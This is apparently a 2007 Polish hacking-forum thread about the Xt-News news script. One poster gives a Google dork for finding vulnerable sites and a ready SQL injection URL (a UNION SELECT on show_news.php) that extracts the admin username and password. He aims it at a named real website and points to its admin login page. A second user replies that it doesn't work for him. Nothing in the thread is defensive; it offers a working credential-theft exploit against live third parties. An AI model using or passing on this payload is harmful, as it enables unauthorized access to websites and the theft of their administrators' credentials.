XT-News

Speed - 04-02-2007 09:42
Google dork:
"Powered by Xt-News" W google znajdujemy jakos stronke opartą na tym skrypcie, dopisujemy skaładnię sql tak aby wyciągnąc hasło i login admina:
show_news.php?id_news=-1%20UNION%20SELECT%20%20id,user,null,null,mdp,null,null,null,null,null,null%20FROM%20xtnews_users%20WHERE%20%20admin=1 Np.
Haslo i login admina tutaj:
http://www.dom-bikes.com/xtnews/show_news.php?id_news=-1%20UNION%20SELECT%20%20id,user,null,null,mdp,null,null,null,null,null,null%20FROM%20xtnews_users%20WHERE%20%20admin=1 Stronak tutaj:
http://www.dom-bikes.com/welcome.htm
dodam jeszcze ze Panel Admina jest tuaj:
http://www.podatnastronka.pl/xtnews/admin/auth.php Na przykład:
http://www.dom-bikes.com/xtnews/admin/auth.php w razie czefo pisać :)

Macienty - 04-03-2007 10:40
ehh mi to nie działa..

zanotowane.pl

doc.pisz.pl

pdf.pisz.pl

marucha.opx.pl